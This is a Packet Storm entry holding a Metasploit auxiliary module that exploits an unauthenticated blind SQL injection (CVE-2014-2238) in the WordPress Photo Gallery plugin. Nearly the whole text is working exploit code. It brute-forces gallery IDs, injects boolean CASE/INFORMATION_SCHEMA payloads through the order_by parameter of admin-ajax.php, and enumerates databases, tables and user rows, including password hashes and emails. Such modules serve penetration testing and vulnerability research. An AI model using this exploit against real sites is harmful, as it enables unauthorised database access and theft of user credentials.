Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration

2015-01-13T00:00:00
ID PACKETSTORM:129927
Type packetstorm
Reporter Brandon Perry
Modified 2015-01-13T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration",  
'Description' => %q{  
This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress  
users tables, including password hashes. This module was tested against version 1.2.7.  
},  
'License' => 'ExploitHub',  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module  
],  
'References' =>  
[  
['CVE', '2014-2238'],  
],  
'Platform' => ['win', 'linux'],  
'Privileged' => false,  
'DisclosureDate' => "Feb 28 2014"))  
  
register_options(  
[  
OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]),  
OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/'])  
], self.class)  
end  
  
def get_params  
{  
'tag_id' => 0,  
'action' => 'GalleryBox',  
'current_view' => 0,  
'image_id' => 1,  
'gallery_id' => 1,  
'theme_id' => 1,  
'thumb_width' => 180,  
'thumb_height' => 90,  
'open_with_fullscreen' => 0,  
'open_with_autoplay' => 0,  
'image_width' => 800,  
'image_height' => 500,  
'image_effect' => 'fade',  
'sort_by' => 'order',  
'order_by' => 'asc',  
'enable_image_filmstrip' => 1,  
'image_filmstrip_height' => 70,  
'enable_image_ctrl_btn' => 1,  
'enable_image_fullscreen' => 1,  
'popup_enable_info' => 1,  
'popup_info_always_show' => 0,  
'popup_info_full_width' => 0,  
'popup_hit_counter' => 0,  
'popup_enable_rate' => 0,  
'slideshow_interval' => 5,  
'enable_comment_social' => 1,  
'enable_image_facebook' => 1,  
'enable_image_twitter' => 1,  
'enable_image_google' => 1,  
'enable_image_pinterest' => 0,  
'enable_image_tumblr' => 0,  
'watermark_type' => 'none',  
'current_url' => ''  
}  
end  
  
def bruteforce_gallery_id  
1.upto(666) do |i|  
get_vars = get_params  
get_vars['gallery_id'] = i  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => get_vars  
})  
  
return i if res and res.body =~ /data\["0"\] = \[\];/  
end  
  
fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID")  
end  
  
def run  
gallery_id = datastore['GALLERYID']  
  
if gallery_id == 0  
print_status('No GALLERYID supplied, attempting bruteforce.')  
gallery_id = bruteforce_gallery_id  
print_status("Found a gallery with an ID of #{gallery_id}")  
end  
  
parms = get_params  
parms['gallery_id'] = gallery_id  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => parms  
})  
  
real_length = res.body.length  
  
count = nil  
1.upto(999) do |i|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
count = i if res.body.length == real_length  
break if count  
end  
  
print_status("Looks like there are #{count} databases.")  
  
schemas = []  
0.upto(count-1) do |i|  
length = nil  
  
1.upto(999) do |c|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) "  
payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*"  
payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
length = c if res.body.length == real_length  
break if !length.nil?  
end  
  
print_status("Schema #{i}'s name has a length of #{length}. Getting name.")  
  
name = ''  
1.upto(length) do |l|  
126.downto(32) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length  
name << (c+1).chr if res.body.length == real_length  
break if res.body.length == real_length  
end  
end  
schemas << name  
print_status("Found database #{name}")  
end  
  
schemas.delete('mysql')  
schemas.delete('performance_schema')  
schemas.delete('information_schema')  
  
schemas.each do |schema|  
num_tables = nil  
1.upto(999) do |i|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
num_tables = i if res.body.length == real_length  
break if num_tables  
end  
  
print_status("Schema #{schema} has #{num_tables} tables. Enumerating.")  
  
tables = []  
0.upto(num_tables - 1) do |t|  
length = nil  
0.upto(64) do |l|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
length = l if res.body.length == real_length  
break if length  
end  
  
print_status("Table #{t}'s name has a length of #{length}")  
  
name = ''  
1.upto(length) do |l|  
126.downto(32) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
name << (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length  
break if res.body.length == real_length  
end  
end  
print_status("Found table #{name}")  
tables << name if name =~ /users$/  
end  
  
print_status("Found #{tables.length} possible user tables. Enumerating users.")  
  
tables.each do |table|  
table_count = ''  
char = 'a'  
  
i = 1  
while char  
char = nil  
58.downto(48) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
char = (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{char}") if char  
table_count << char if char  
break if char  
end  
i = i + 1  
end  
  
table_count = table_count.to_i  
  
print_status("Table #{table} has #{table_count} rows.")  
user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"]  
  
0.upto(table_count-1) do |t|  
user_cols.each do |col|  
i = 1  
length = '0'  
char = 'a'  
  
while char  
char = nil  
58.downto(48) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
char = (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{char}") if char  
length << char if char  
break if char  
end  
i = i + 1  
end  
  
length = length.to_i  
print_status("Column #{col} of row #{t} has a length of #{length}")  
end  
end  
end  
end  
end  
  
def send_injected_request(payload, gallery_id)  
parms = get_params  
parms['gallery_id'] = gallery_id  
parms['order_by'] = 'asc ' + payload  
  
return send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => parms  
})  
end  
  
end  
  
`